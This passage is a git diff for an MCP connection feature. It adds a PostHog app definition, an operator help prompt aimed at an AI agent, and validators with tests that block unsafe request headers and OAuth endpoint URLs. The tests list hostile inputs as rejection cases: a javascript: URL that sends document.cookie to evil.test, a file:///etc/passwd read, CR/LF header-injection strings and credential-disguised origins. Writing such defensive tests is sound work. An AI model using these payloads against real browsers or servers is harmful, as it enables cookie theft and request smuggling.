"all_agents", askFirstRiskLevels: method?.riskTier === "S1" ? [] : ["write", "destructive"], diff --git a/packages/shared/src/app-definitions/posthog.json b/packages/shared/src/app-definitions/posthog.json new file mode 100644 index 0000000000..033af16cd5 --- /dev/null +++ b/packages/shared/src/app-definitions/posthog.json @@ -0,0 +1,243 @@ +{ + "schemaVersion": 1, + "slug": "posthog", + "name": "PostHog", + "description": "Analyze product usage, errors, feature flags, and experiments in a pinned PostHog project.", + "categories": [ + "analytics" + ], + "featured": true, + "branding": { + "logoUrl": "https://www.google.com/s2/favicons?domain=posthog.com&sz=128" + }, + "urlPatterns": [ + "https://mcp.posthog.com/*" + ], + "methods": [ + { + "key": "mcp-oauth", + "transport": "mcp_remote", + "auth": "oauth", + "ownershipModes": [ + "customer", + "dcr" + ], + "whenToUse": "Sign in with PostHog in the browser. Recommended for hosted PostHog accounts.", + "defaults": { + "serverUrl": "https://mcp.posthog.com/mcp" + }, + "guidanceMd": "Pin the connection to one PostHog project and expose the full tool catalog by default. Narrow feature groups or tools only when needed.", + "riskTier": "S3", + "tenantFields": [ + { + "key": "projectId", + "label": "Project ID", + "type": "text", + "required": true, + "placeholder": "12345", + "helperMd": "Find the numeric project ID in PostHog project settings.", + "validation": { + "pattern": "^[0-9]+$", + "maxLength": 32 + }, + "transport": { + "location": "header", + "name": "x-posthog-project-id" + } + }, + { + "key": "readOnly", + "label": "Read-only mode", + "type": "checkbox", + "defaultValue": false, + "helperMd": "Turn on to hide tools that can change PostHog data.", + "transport": { + "location": "query", + "name": "readonly", + "format": "boolean", + "omitFalse": true + } + }, + { + "key": "features", + "label": "Feature groups", + "type": "textarea", + "advanced": true, + "placeholder": "Optional comma-separated feature groups", + "helperMd": "Leave blank to expose every feature group, or enter a comma-separated list to narrow access.", + "validation": { + "maxLength": 500 + }, + "transport": { + "location": "query", + "name": "features", + "format": "csv" + } + }, + { + "key": "tools", + "label": "Individual tools", + "type": "textarea", + "advanced": true, + "placeholder": "Optional comma-separated tool names", + "helperMd": "Leave blank to expose all tools. Exact names here are combined with any feature groups.", + "validation": { + "maxLength": 2000 + }, + "transport": { + "location": "query", + "name": "tools", + "format": "csv" + } + }, + { + "key": "mode", + "label": "Tool response mode", + "type": "select", + "advanced": true, + "required": true, + "placeholder": "Individual tools", + "defaultValue": "tools", + "options": [ + { + "value": "tools", + "label": "Individual tools" + } + ], + "helperMd": "Paperclip uses individual tools so every action can be governed. CLI mode remains unavailable until nested execution is governed.", + "transport": { + "location": "query", + "name": "mode" + } + } + ], + "requiredResourceFilters": [ + "project" + ], + "label": "Sign in with PostHog", + "consoleLinks": { + "docs": "https://posthog.com/docs/model-context-protocol" + } + }, + { + "key": "mcp-api-key", + "transport": "mcp_remote", + "auth": "api_key", + "ownershipModes": [ + "customer" + ], + "whenToUse": "Use a PostHog personal API key when browser sign-in is not suitable.", + "defaults": { + "serverUrl": "https://mcp.posthog.com/mcp" + }, + "guidanceMd": "Pin the connection to one PostHog project and expose the full tool catalog by default. Narrow feature groups or tools only when needed.", + "riskTier": "S3", + "tenantFields": [ + { + "key": "projectId", + "label": "Project ID", + "type": "text", + "required": true, + "placeholder": "12345", + "helperMd": "Find the numeric project ID in PostHog project settings.", + "validation": { + "pattern": "^[0-9]+$", + "maxLength": 32 + }, + "transport": { + "location": "header", + "name": "x-posthog-project-id" + } + }, + { + "key": "readOnly", + "label": "Read-only mode", + "type": "checkbox", + "defaultValue": false, + "helperMd": "Turn on to hide tools that can change PostHog data.", + "transport": { + "location": "query", + "name": "readonly", + "format": "boolean", + "omitFalse": true + } + }, + { + "key": "features", + "label": "Feature groups", + "type": "textarea", + "advanced": true, + "placeholder": "Optional comma-separated feature groups", + "helperMd": "Leave blank to expose every feature group, or enter a comma-separated list to narrow access.", + "validation": { + "maxLength": 500 + }, + "transport": { + "location": "query", + "name": "features", + "format": "csv" + } + }, + { + "key": "tools", + "label": "Individual tools", + "type": "textarea", + "advanced": true, + "placeholder": "Optional comma-separated tool names", + "helperMd": "Leave blank to expose all tools. Exact names here are combined with any feature groups.", + "validation": { + "maxLength": 2000 + }, + "transport": { + "location": "query", + "name": "tools", + "format": "csv" + } + }, + { + "key": "mode", + "label": "Tool response mode", + "type": "select", + "advanced": true, + "required": true, + "placeholder": "Individual tools", + "defaultValue": "tools", + "options": [ + { + "value": "tools", + "label": "Individual tools" + } + ], + "helperMd": "Paperclip uses individual tools so every action can be governed. CLI mode remains unavailable until nested execution is governed.", + "transport": { + "location": "query", + "name": "mode" + } + } + ], + "requiredResourceFilters": [ + "project" + ], + "label": "Use a personal API key", + "credentialFields": [ + { + "key": "authorization", + "label": "PostHog personal API key", + "type": "password", + "required": true, + "placeholder": "phx_...", + "secret": true + } + ], + "keyPlacement": { + "location": "header", + "name": "Authorization", + "prefix": "Bearer " + }, + "consoleLinks": { + "keys": "https://posthog.com/docs/model-context-protocol/faq", + "docs": "https://posthog.com/docs/model-context-protocol/faq" + } + } + ] +} diff --git a/packages/shared/src/index.ts b/packages/shared/src/index.ts index 65a0e3ae9c..2c73db8439 100644 --- a/packages/shared/src/index.ts +++ b/packages/shared/src/index.ts @@ -266,6 +266,7 @@ export { credentialConfigPath, getAppDefinitionForUrl, getAvailableConnectionMethod, + getAvailableConnectionMethods, getConnectableAppDefinition, recommendedDefaultsForApp, } from "./app-definitions.js"; @@ -277,6 +278,31 @@ export { connectionDisplaySecondaryHint, type HumanizableConnection, } from "./humanize-connection.js"; +export { + MCP_CONFIG_HELP_INSTRUCTIONS, + MCP_CONFIG_HELP_PROMPT, +} from "./mcp-config-help-prompt.js"; +export { + MCP_REMOTE_HEADER_LIMITS, + checkMcpRemoteHeaderName, + checkMcpRemoteHeaderValue, + isSafeMcpRemoteHeaderName, + isSafeMcpRemoteHeaderValue, + mcpRemoteHeaderNameFromConfigPath, + mcpRemoteHeaderRejectionMessage, + type McpRemoteHeaderCheck, + type McpRemoteHeaderRejection, +} from "./mcp-remote-headers.js"; +export { + checkOAuthEndpointUrl, + isSafeOAuthEndpointUrl, + oauthEndpointDisplayHost, + oauthEndpointUrlRejectionMessage, + type OAuthEndpointKind, + type OAuthEndpointUrlCheck, + type OAuthEndpointUrlOptions, + type OAuthEndpointUrlRejection, +} from "./oauth-endpoint-url.js"; export { COMPANY_STATUSES, DEPLOYMENT_MODES, @@ -1274,7 +1300,9 @@ export type { SecretProposalView, ApproveSecretProposalInput, RejectSecretProposalInput, + ConnectToolAppAuthChallenge, ConnectToolAppResult, + ToolOAuthClientRegistrationSource, ToolOAuthStartResult, ToolActionRequest, ToolAccessDecision, @@ -1340,6 +1368,8 @@ export type { ToolConnectionInstall, ToolConnectionInstallSnapshot, ToolConnectionInstallTargetType, + ToolConnectionRemovalResult, + ToolConnectionRemovalSummary, ConnectionGrant, ConnectionGrantKind, ConnectionGrantStatus, @@ -2046,6 +2076,11 @@ export { createToolTrustRuleFromActionRequestSchema, revokeToolTrustRuleSchema, connectToolAppSchema, + GENERIC_MCP_AUTH_MODES, + genericMcpAuthModeSchema, + genericMcpOAuthClientSchema, + type GenericMcpAuthMode, + type GenericMcpOAuthClient, reconnectToolAppSchema, createToolApplicationSchema, finishToolAppSchema, diff --git a/packages/shared/src/mcp-config-help-prompt.ts b/packages/shared/src/mcp-config-help-prompt.ts new file mode 100644 index 0000000000..fa58effb7c --- /dev/null +++ b/packages/shared/src/mcp-config-help-prompt.ts @@ -0,0 +1,56 @@ +/** + * The static prompt an operator copies and hands to an agent to get a + * paste-ready MCP config back (PAP-17087, plan section 3A). + * + * This is a constant on purpose. It must never interpolate the textarea's + * contents, the company, an endpoint, or a secret: the operator pastes it into + * whatever chat surface they like, so anything folded in here leaves Paperclip. + * Keeping it a constant is also what makes "opening or copying help makes no + * connection or import request" true by construction rather than by review. + * + * The instructions are ordered so the *first* thing in the reply is the JSON the + * operator has to paste, because that is the only part Paperclip's config + * preview parser reads. Everything else is prose for the human. + */ +export const MCP_CONFIG_HELP_PROMPT = `I want to connect an MCP (Model Context Protocol) server to Paperclip, and I need a paste-ready config. + +Target server: + +Please: + +1. Confirm which MCP server this is. If I have not named one, or you are unsure which product I mean, ask me for its name or a link to its documentation before answering. Then consult the current official documentation for that server (the vendor's own docs or the server's own repository), not your memory of it. + +2. Reply with one valid, paste-ready JSON object FIRST, before any prose. It must have a single top-level "mcpServers" key containing exactly one remote server entry, using: + - the exact HTTP(S) endpoint as "url", including any required query parameters + - the exact required header names, spelled the way the server expects them + Example of the shape (not the values): + + { + "mcpServers": { + "example": { + "url": "https://mcp.example.com/mcp", + "headers": { "Authorization": "Bearer " } + } + } + } + +3. Use an obvious placeholder for every credential, like . Do not ask me to paste a real token into this conversation, do not repeat one back to me, and do not embed one in the JSON. + +4. After the JSON, add short setup notes covering: + - how I obtain each credential, step by step + - which scopes or permissions the credential needs + - which fields are optional and what they change + - whether this server requires browser sign-in (OAuth) instead of headers, in which case say so plainly + - the official documentation links you actually used + +5. Do not invent fields, header names, or URLs. If you are not certain about something, say which part you are unsure about instead of guessing. If this server only runs locally as a command (stdio) and has no remote HTTP endpoint, say that the paste-a-config path does not apply, and give me the verified local command separately.`; + +/** + * What the operator needs to know about the hand-off, shown above the prompt. + * Kept next to the prompt so the two cannot drift apart. + */ +export const MCP_CONFIG_HELP_INSTRUCTIONS = [ + "Copy this prompt and send it to an agent or assistant that can look up the server's documentation.", + "Paste only the JSON block it replies with back into the box on this page.", + "Paperclip reads the header names from that JSON and asks you for the values, then stores them as Paperclip secrets — so the config you paste should contain placeholders, not live credentials.", +] as const; diff --git a/packages/shared/src/mcp-remote-headers.test.ts b/packages/shared/src/mcp-remote-headers.test.ts new file mode 100644 index 0000000000..b59cd4fc19 --- /dev/null +++ b/packages/shared/src/mcp-remote-headers.test.ts @@ -0,0 +1,127 @@ +import { describe, expect, it } from "vitest"; +import { + checkMcpRemoteHeaderName, + checkMcpRemoteHeaderValue, + mcpRemoteHeaderNameFromConfigPath, + mcpRemoteHeaderRejectionMessage, +} from "./mcp-remote-headers.js"; + +describe("checkMcpRemoteHeaderName", () => { + it("accepts the header names real MCP servers ask for", () => { + for (const name of [ + "Authorization", + "authorization", + "X-PostHog-Project-Id", + "x-api-key", + "Mcp-Session-Id", + "X_Custom.Token", + ]) { + expect(checkMcpRemoteHeaderName(name), name).toEqual({ ok: true }); + } + }); + + it("rejects hop-by-hop, framing, routing and ambient-credential headers", () => { + for (const name of [ + "Host", + "host", + "Connection", + "Content-Length", + "Transfer-Encoding", + "TE", + "Trailer", + "Upgrade", + "Keep-Alive", + "Cookie", + "Set-Cookie", + "Proxy-Authorization", + "Via", + "Expect", + ]) { + expect(checkMcpRemoteHeaderName(name), name).toEqual({ ok: false, reason: "forbidden" }); + } + }); + + it("rejects reserved prefixes browsers and proxies own", () => { + for (const name of ["Sec-Fetch-Mode", "sec-websocket-key", "Proxy-Foo", "HTTP2-Settings"]) { + expect(checkMcpRemoteHeaderName(name), name).toEqual({ ok: false, reason: "forbidden" }); + } + }); + + it("rejects names that could smuggle a separator or a new header line", () => { + for (const name of [ + "X-Bad\r\nX-Injected", + "X-Bad\nX-Injected", + "X Bad", + "X-Bad:", + "X-Bad;Other", + "X-Bad,Other", + 'X-"Bad"', + "X-Bad/Other", + "X-Bad(Other)", + "X-Bad@Other", + "X-Bad\u0000", + ]) { + expect(checkMcpRemoteHeaderName(name), JSON.stringify(name)).toEqual({ + ok: false, + reason: "invalid_characters", + }); + } + }); + + it("rejects blank and over-long names", () => { + expect(checkMcpRemoteHeaderName("")).toEqual({ ok: false, reason: "empty" }); + expect(checkMcpRemoteHeaderName(" ")).toEqual({ ok: false, reason: "empty" }); + expect(checkMcpRemoteHeaderName("x".repeat(129))).toEqual({ ok: false, reason: "too_long" }); + expect(checkMcpRemoteHeaderName("x".repeat(128))).toEqual({ ok: true }); + }); +}); + +describe("checkMcpRemoteHeaderValue", () => { + it("accepts ordinary credential values", () => { + for (const value of ["Bearer phx_abc123", "phx_abc123", "12345", "a b c", ""]) { + expect(checkMcpRemoteHeaderValue(value), JSON.stringify(value)).toEqual({ ok: true }); + } + }); + + it("rejects values that would split the request", () => { + for (const value of [ + "abc\r\nX-Injected: 1", + "abc\nX-Injected: 1", + "abc\rdef", + "abc\u0000def", + "abc\tdef", + "abc\u007fdef", + ]) { + expect(checkMcpRemoteHeaderValue(value), JSON.stringify(value)).toEqual({ + ok: false, + reason: "value_control_characters", + }); + } + }); + + it("rejects over-long values", () => { + expect(checkMcpRemoteHeaderValue("x".repeat(8_193))).toEqual({ ok: false, reason: "value_too_long" }); + expect(checkMcpRemoteHeaderValue("x".repeat(8_192))).toEqual({ ok: true }); + }); +}); + +describe("mcpRemoteHeaderNameFromConfigPath", () => { + it("extracts a header name from a headers.* config path", () => { + expect(mcpRemoteHeaderNameFromConfigPath("headers.X-Api-Key")).toBe("X-Api-Key"); + expect(mcpRemoteHeaderNameFromConfigPath("headers. X-Api-Key ")).toBe("X-Api-Key"); + }); + + it("returns null for non-header and empty paths", () => { + expect(mcpRemoteHeaderNameFromConfigPath("credentials.authorization")).toBeNull(); + expect(mcpRemoteHeaderNameFromConfigPath("headers.")).toBeNull(); + expect(mcpRemoteHeaderNameFromConfigPath("headers. ")).toBeNull(); + }); +}); + +describe("mcpRemoteHeaderRejectionMessage", () => { + it("explains the problem without echoing the value", () => { + expect(mcpRemoteHeaderRejectionMessage("Host", "forbidden")).toContain("Host"); + expect(mcpRemoteHeaderRejectionMessage("X-Api-Key", "value_control_characters")) + .toBe('The value for "X-Api-Key" contains line breaks or control characters.'); + }); +}); diff --git a/packages/shared/src/mcp-remote-headers.ts b/packages/shared/src/mcp-remote-headers.ts new file mode 100644 index 0000000000..d452244025 --- /dev/null +++ b/packages/shared/src/mcp-remote-headers.ts @@ -0,0 +1,148 @@ +/** + * Header-name/value safety for user-supplied remote MCP credentials (PAP-17087). + * + * Both the guided "Connect your own MCP server" flow and the paste-config escape + * hatch let an operator name arbitrary request headers for an arbitrary endpoint. + * Those names reach a real outbound `fetch`, so they are validated here — once, + * in shared code — instead of at each call site: + * + * - only RFC 9110 `token` characters, so a name can never smuggle a separator, + * whitespace, or CR/LF into the request line; + * - never a hop-by-hop, framing, routing, or ambient-credential header, because + * those either belong to the transport or would let a pasted config redirect + * the request or attach a browser cookie; + * - values must stay printable single-line, which blocks header/response + * splitting through a value that carries `\r\n`. + * + * `Authorization` is deliberately allowed: it is the header the bearer-key path + * uses, and its value is stored as a Paperclip secret like every other one. + */ + +/** RFC 9110 field-name = token. */ +const HTTP_TOKEN_PATTERN = /^[!#$%&'*+\-.^_`|~0-9A-Za-z]+$/; + +const MAX_HEADER_NAME_LENGTH = 128; +const MAX_HEADER_VALUE_LENGTH = 8_192; + +/** + * Headers Paperclip refuses to project from a user-supplied config. + * + * `connection`/`keep-alive`/`te`/`trailer`/`transfer-encoding`/`upgrade` are + * hop-by-hop (RFC 9110 §7.6.1) and belong to the fetch implementation. + * `content-length`/`host` frame and route the request. `cookie` would attach + * ambient browser-style credentials that Paperclip cannot scope or rotate. + * `proxy-*` targets an intermediary rather than the MCP server. + */ +const FORBIDDEN_HEADER_NAMES = new Set([ + "connection", + "content-length", + "cookie", + "cookie2", + "expect", + "host", + "keep-alive", + "proxy-authenticate", + "proxy-authorization", + "proxy-connection", + "set-cookie", + "set-cookie2", + "te", + "trailer", + "transfer-encoding", + "upgrade", + "via", +]); + +/** Prefixes reserved for the transport or for intermediaries. */ +const FORBIDDEN_HEADER_PREFIXES = ["proxy-", "sec-", "http2-"]; + +export type McpRemoteHeaderRejection = + | "empty" + | "too_long" + | "invalid_characters" + | "forbidden" + | "value_too_long" + | "value_control_characters"; + +export interface McpRemoteHeaderCheck { + ok: boolean; + reason?: McpRemoteHeaderRejection; +} + +const OK: McpRemoteHeaderCheck = { ok: true }; + +/** + * Is `name` a header Paperclip is willing to send on a user-configured remote + * MCP request? Returns the specific rejection reason so callers can produce an + * actionable, UI-safe message. + */ +export function checkMcpRemoteHeaderName(name: string): McpRemoteHeaderCheck { + const trimmed = name.trim(); + if (!trimmed) return { ok: false, reason: "empty" }; + if (trimmed.length > MAX_HEADER_NAME_LENGTH) return { ok: false, reason: "too_long" }; + if (!HTTP_TOKEN_PATTERN.test(trimmed)) return { ok: false, reason: "invalid_characters" }; + const lower = trimmed.toLowerCase(); + if (FORBIDDEN_HEADER_NAMES.has(lower)) return { ok: false, reason: "forbidden" }; + if (FORBIDDEN_HEADER_PREFIXES.some((prefix) => lower.startsWith(prefix))) { + return { ok: false, reason: "forbidden" }; + } + return OK; +} + +/** + * Is `value` safe to send as a header value? Rejects CR/LF and other control + * characters (header splitting) and absurdly long values. + */ +export function checkMcpRemoteHeaderValue(value: string): McpRemoteHeaderCheck { + if (value.length > MAX_HEADER_VALUE_LENGTH) return { ok: false, reason: "value_too_long" }; + // Reject C0/C1 controls and DEL. A tab is legal in a field value per RFC 9110 + // but has no legitimate use in a credential, so it is rejected too. + if (/[\u0000-\u001f\u007f-\u009f]/.test(value)) { + return { ok: false, reason: "value_control_characters" }; + } + return OK; +} + +export function isSafeMcpRemoteHeaderName(name: string): boolean { + return checkMcpRemoteHeaderName(name).ok; +} + +export function isSafeMcpRemoteHeaderValue(value: string): boolean { + return checkMcpRemoteHeaderValue(value).ok; +} + +/** A UI-safe explanation for a rejected header. Never echoes the value. */ +export function mcpRemoteHeaderRejectionMessage( + headerName: string, + reason: McpRemoteHeaderRejection, +): string { + switch (reason) { + case "empty": + return "Header names cannot be blank."; + case "too_long": + return `Header name "${headerName.slice(0, MAX_HEADER_NAME_LENGTH)}" is too long.`; + case "invalid_characters": + return `"${headerName.slice(0, MAX_HEADER_NAME_LENGTH)}" is not a valid header name. Use letters, digits, and dashes.`; + case "forbidden": + return `Paperclip manages the "${headerName}" header and cannot send a custom value for it.`; + case "value_too_long": + return `The value for "${headerName}" is too long.`; + case "value_control_characters": + return `The value for "${headerName}" contains line breaks or control characters.`; + } +} + +/** + * `credentialValues` keys use a `headers.` config path. Extract the header + * name, or `null` when the path is not a header path. + */ +export function mcpRemoteHeaderNameFromConfigPath(configPath: string): string | null { + if (!configPath.startsWith("headers.")) return null; + const name = configPath.slice("headers.".length).trim(); + return name.length > 0 ? name : null; +} + +export const MCP_REMOTE_HEADER_LIMITS = { + maxNameLength: MAX_HEADER_NAME_LENGTH, + maxValueLength: MAX_HEADER_VALUE_LENGTH, +} as const; diff --git a/packages/shared/src/oauth-endpoint-url.test.ts b/packages/shared/src/oauth-endpoint-url.test.ts new file mode 100644 index 0000000000..7f7ad634b3 --- /dev/null +++ b/packages/shared/src/oauth-endpoint-url.test.ts @@ -0,0 +1,182 @@ +import { describe, expect, it } from "vitest"; +import { + checkOAuthEndpointUrl, + isSafeOAuthEndpointUrl, + oauthEndpointDisplayHost, + oauthEndpointUrlRejectionMessage, +} from "./oauth-endpoint-url.js"; + +describe("checkOAuthEndpointUrl", () => { + it("accepts an https endpoint and returns its normalized url and host", () => { + const check = checkOAuthEndpointUrl("https://auth.example.test/oauth/authorize?prompt=consent"); + expect(check).toEqual({ + ok: true, + url: "https://auth.example.test/oauth/authorize?prompt=consent", + host: "auth.example.test", + }); + }); + + it("keeps a non-default port in the displayed host", () => { + const check = checkOAuthEndpointUrl("https://auth.example.test:8443/authorize"); + expect(check.ok && check.host).toBe("auth.example.test:8443"); + }); + + // The values a hostile MCP server would advertise to get code running in the + // board's origin or to read a local file. + it.each([ + ["javascript:alert(document.cookie)", "unsupported_scheme"], + ["javascript:fetch('https://evil.test/'+document.cookie)", "unsupported_scheme"], + ["data:text/html,", "unsupported_scheme"], + ["file:///etc/passwd", "unsupported_scheme"], + ["vbscript:msgbox(1)", "unsupported_scheme"], + ["about:blank", "unsupported_scheme"], + ["blob:https://auth.example.test/1234", "unsupported_scheme"], + ["chrome://settings", "unsupported_scheme"], + ])("rejects %s", (value, reason) => { + expect(checkOAuthEndpointUrl(value)).toEqual({ ok: false, reason }); + expect(isSafeOAuthEndpointUrl(value)).toBe(false); + }); + + it("rejects a scheme that only differs by case or padding", () => { + expect(checkOAuthEndpointUrl(" JavaScript:alert(1) ").ok).toBe(false); + expect(checkOAuthEndpointUrl("JAVASCRIPT:alert(1)")).toEqual({ ok: false, reason: "unsupported_scheme" }); + }); + + it("rejects plaintext http by default, loopback included", () => { + expect(checkOAuthEndpointUrl("http://auth.example.test/authorize")).toEqual({ + ok: false, + reason: "insecure_transport", + }); + expect(checkOAuthEndpointUrl("http://127.0.0.1:9000/authorize")).toEqual({ + ok: false, + reason: "insecure_transport", + }); + }); + + it("allows loopback http only under the local-development policy", () => { + const options = { allowInsecureLoopback: true }; + for (const value of [ + "http://localhost:3100/authorize", + "http://app.localhost:3100/authorize", + "http://127.0.0.1:3100/authorize", + "http://127.9.9.9:3100/authorize", + "http://[::1]:3100/authorize", + ]) { + expect(checkOAuthEndpointUrl(value, options).ok, value).toBe(true); + } + }); + + it("still rejects non-loopback http under the local-development policy", () => { + for (const value of [ + "http://auth.example.test/authorize", + "http://10.0.0.5/authorize", + // Hosts that only *look* loopback. + "http://127.0.0.1.evil.test/authorize", + "http://localhost.evil.test/authorize", + "http://notlocalhost/authorize", + ]) { + expect(checkOAuthEndpointUrl(value, { allowInsecureLoopback: true }), value).toEqual({ + ok: false, + reason: "insecure_transport", + }); + } + }); + + it("allows plaintext http for Paperclip's own origin only", () => { + const options = { allowInsecureOrigins: ["http://paperclip.test"] }; + expect(checkOAuthEndpointUrl("http://paperclip.test/api/smoke-lab/oauth/authorize", options).ok).toBe(true); + // Port and scheme are part of the origin, so a neighbour is not exempt. + expect(checkOAuthEndpointUrl("http://paperclip.test:8080/authorize", options)).toEqual({ + ok: false, + reason: "insecure_transport", + }); + expect(checkOAuthEndpointUrl("http://evil.test/authorize", options)).toEqual({ + ok: false, + reason: "insecure_transport", + }); + // The exemption is about transport only: an unsafe scheme is still unsafe. + expect(checkOAuthEndpointUrl("javascript:alert(1)", options)).toEqual({ + ok: false, + reason: "unsupported_scheme", + }); + // A garbage entry in the exemption list cannot open anything up. + expect(checkOAuthEndpointUrl("http://paperclip.test/authorize", { allowInsecureOrigins: ["nonsense"] })).toEqual({ + ok: false, + reason: "insecure_transport", + }); + }); + + it("rejects embedded credentials that disguise the real origin", () => { + expect(checkOAuthEndpointUrl("https://accounts.google.com@evil.test/authorize")).toEqual({ + ok: false, + reason: "embedded_credentials", + }); + expect(checkOAuthEndpointUrl("https://user:pw@auth.example.test/authorize")).toEqual({ + ok: false, + reason: "embedded_credentials", + }); + }); + + it("rejects a fragment", () => { + expect(checkOAuthEndpointUrl("https://auth.example.test/authorize#/../../evil")).toEqual({ + ok: false, + reason: "fragment", + }); + }); + + it("rejects malformed and empty values", () => { + expect(checkOAuthEndpointUrl("/authorize")).toEqual({ ok: false, reason: "malformed" }); + expect(checkOAuthEndpointUrl("not a url")).toEqual({ ok: false, reason: "malformed" }); + expect(checkOAuthEndpointUrl("https://")).toEqual({ ok: false, reason: "malformed" }); + // A special scheme with no authority is re-parsed by WHATWG as a hostname, + // so it lands on the transport rule rather than being treated as relative. + expect(checkOAuthEndpointUrl("http:relative", { allowInsecureLoopback: true })).toEqual({ + ok: false, + reason: "insecure_transport", + }); + expect(checkOAuthEndpointUrl("")).toEqual({ ok: false, reason: "missing" }); + expect(checkOAuthEndpointUrl(" ")).toEqual({ ok: false, reason: "missing" }); + expect(checkOAuthEndpointUrl(null)).toEqual({ ok: false, reason: "missing" }); + expect(checkOAuthEndpointUrl({ href: "https://auth.example.test" })).toEqual({ + ok: false, + reason: "missing", + }); + }); +}); + +describe("oauthEndpointUrlRejectionMessage", () => { + it("names the endpoint without echoing the untrusted value", () => { + const message = oauthEndpointUrlRejectionMessage("authorization", "unsupported_scheme"); + expect(message).toContain("sign-in"); + expect(message).toContain("https"); + expect(message).not.toContain("javascript"); + }); + + it("covers every rejection reason for every endpoint kind", () => { + for (const kind of ["authorization", "token", "registration", "metadata"] as const) { + for (const reason of [ + "missing", + "malformed", + "unsupported_scheme", + "insecure_transport", + "embedded_credentials", + "fragment", + ] as const) { + expect(oauthEndpointUrlRejectionMessage(kind, reason).length, `${kind}/${reason}`).toBeGreaterThan(0); + } + } + }); +}); + +describe("oauthEndpointDisplayHost", () => { + it("returns the host for display", () => { + expect(oauthEndpointDisplayHost("https://auth.example.test/authorize?x=1")).toBe("auth.example.test"); + expect(oauthEndpointDisplayHost("https://auth.example.test:8443/authorize")).toBe("auth.example.test:8443"); + }); + + it("returns null for a value with no host", () => { + expect(oauthEndpointDisplayHost("javascript:alert(1)")).toBeNull(); + expect(oauthEndpointDisplayHost("nonsense")).toBeNull(); + expect(oauthEndpointDisplayHost(null)).toBeNull(); + }); +}); diff --git a/packages/shared/src/oauth-endpoint-url.ts b/packages/shared/src/oauth-endpoint-url.ts new file mode 100644 index 0000000000..5ea73648dc --- /dev/null +++ b/packages/shared/src/oauth-endpoint-url.ts @@ -0,0 +1,173 @@ +/** + * Scheme/transport safety for OAuth endpoints Paperclip learned from a remote + * server (PAP-17099). + * + * A generic remote MCP connection can point at any endpoint, and that endpoint + * gets to advertise its own authorization-server metadata. The + * `authorization_endpoint` it names is not just fetched server-side — Paperclip + * hands it to the operator's browser as a top-level navigation, so an arbitrary + * string there is a code-execution and open-redirect primitive: + * `javascript:` / `data:` would run in the board's origin, and plain `http:` + * would carry the authorization request (and the operator) over a network any + * intermediary can rewrite. + * + * So every endpoint URL discovered from metadata, pasted by an operator, taken + * from a `WWW-Authenticate` hint, or shipped as a gallery default is parsed + * here — once, in shared code — and must be: + * + * - a well-formed absolute URL (anything `new URL` rejects is rejected); + * - `https:`, or `http:` only for a loopback host under the caller's explicit + * local-development policy (the server passes its private-network policy, the + * board passes "am I myself served over plaintext HTTP"); + * - free of embedded credentials, because `https://evil.test@real.test/...` + * reads as the wrong origin to a human and Paperclip must not help; + * - free of a fragment, which never survives an authorization request usefully + * and is a classic way to hide the effective target from a reader. + * + * Both the server and the board import this so a value that passes the API + * boundary cannot fail the navigation boundary, or vice versa. + */ + +export type OAuthEndpointKind = "authorization" | "token" | "registration" | "metadata"; + +export type OAuthEndpointUrlRejection = + | "missing" + | "malformed" + | "unsupported_scheme" + | "insecure_transport" + | "embedded_credentials" + | "fragment"; + +export interface OAuthEndpointUrlOptions { + /** + * Allow `http:` for loopback hosts. Only true under an explicit + * local-development policy — never for a public deployment. + */ + allowInsecureLoopback?: boolean; + /** + * Origins whose `http:` is already the operator's own trust boundary — + * in practice just Paperclip's own deployment origin. A deployment served over + * plaintext HTTP on a LAN address can still run its own authorization + * endpoints (the smoke-lab fixture does), and opening Paperclip from Paperclip + * adds no exposure the board does not already have. + */ + allowInsecureOrigins?: string[]; +} + +export type OAuthEndpointUrlCheck = + | { ok: true; url: string; host: string } + | { ok: false; reason: OAuthEndpointUrlRejection }; + +/** `127.0.0.0/8` — the whole loopback range, not just `127.0.0.1`. */ +function isLoopbackIpv4(hostname: string): boolean { + const parts = hostname.split("."); + if (parts.length !== 4) return false; + if (!parts.every((part) => /^\d{1,3}$/.test(part) && Number(part) <= 255)) return false; + return parts[0] === "127"; +} + +function isLoopbackHost(hostname: string): boolean { + const host = hostname.replace(/^\[|\]$/g, "").toLowerCase(); + if (host === "localhost" || host.endsWith(".localhost")) return true; + if (host === "::1") return true; + const mapped = host.match(/^::ffff:(\d{1,3}(?:\.\d{1,3}){3})$/); + if (mapped?.[1]) return isLoopbackIpv4(mapped[1]); + return isLoopbackIpv4(host); +} + +function normalizedOrigin(value: string): string | null { + try { + const origin = new URL(value).origin; + return origin === "null" ? null : origin; + } catch { + return null; + } +} + +function insecureTransportAllowed(parsed: URL, options: OAuthEndpointUrlOptions): boolean { + if (options.allowInsecureLoopback && isLoopbackHost(parsed.hostname)) return true; + return (options.allowInsecureOrigins ?? []).some((origin) => normalizedOrigin(origin) === parsed.origin); +} + +/** + * Is `value` an OAuth endpoint Paperclip is willing to use — and, for the + * authorization endpoint, to navigate a browser to? Returns the normalized URL + * and its host on success, or the specific rejection reason so callers can + * produce an actionable message. + */ +export function checkOAuthEndpointUrl( + value: unknown, + options: OAuthEndpointUrlOptions = {}, +): OAuthEndpointUrlCheck { + if (typeof value !== "string" || value.trim().length === 0) { + return { ok: false, reason: "missing" }; + } + let parsed: URL; + try { + parsed = new URL(value.trim()); + } catch { + return { ok: false, reason: "malformed" }; + } + if (parsed.protocol !== "https:" && parsed.protocol !== "http:") { + return { ok: false, reason: "unsupported_scheme" }; + } + // A `javascript:`/`data:` URL has no host, and neither does something like + // `http:relative` — without an authority there is no origin to trust. + if (!parsed.hostname) return { ok: false, reason: "malformed" }; + if (parsed.protocol === "http:" && !insecureTransportAllowed(parsed, options)) { + return { ok: false, reason: "insecure_transport" }; + } + if (parsed.username || parsed.password) return { ok: false, reason: "embedded_credentials" }; + if (parsed.hash) return { ok: false, reason: "fragment" }; + return { ok: true, url: parsed.toString(), host: parsed.host }; +} + +export function isSafeOAuthEndpointUrl(value: unknown, options: OAuthEndpointUrlOptions = {}): boolean { + return checkOAuthEndpointUrl(value, options).ok; +} + +const KIND_LABELS: Record = { + authorization: "sign-in", + token: "token", + registration: "client registration", + metadata: "metadata", +}; + +/** + * A UI-safe explanation for a rejected endpoint. Never echoes the URL, because + * the string came from the remote server and may itself be the attack. + */ +export function oauthEndpointUrlRejectionMessage( + kind: OAuthEndpointKind, + reason: OAuthEndpointUrlRejection, +): string { + const label = KIND_LABELS[kind]; + switch (reason) { + case "missing": + return `This server did not provide a ${label} address.`; + case "malformed": + return `This server's ${label} address is not a valid URL, so Paperclip stopped.`; + case "unsupported_scheme": + return `This server's ${label} address does not use https, so Paperclip stopped.`; + case "insecure_transport": 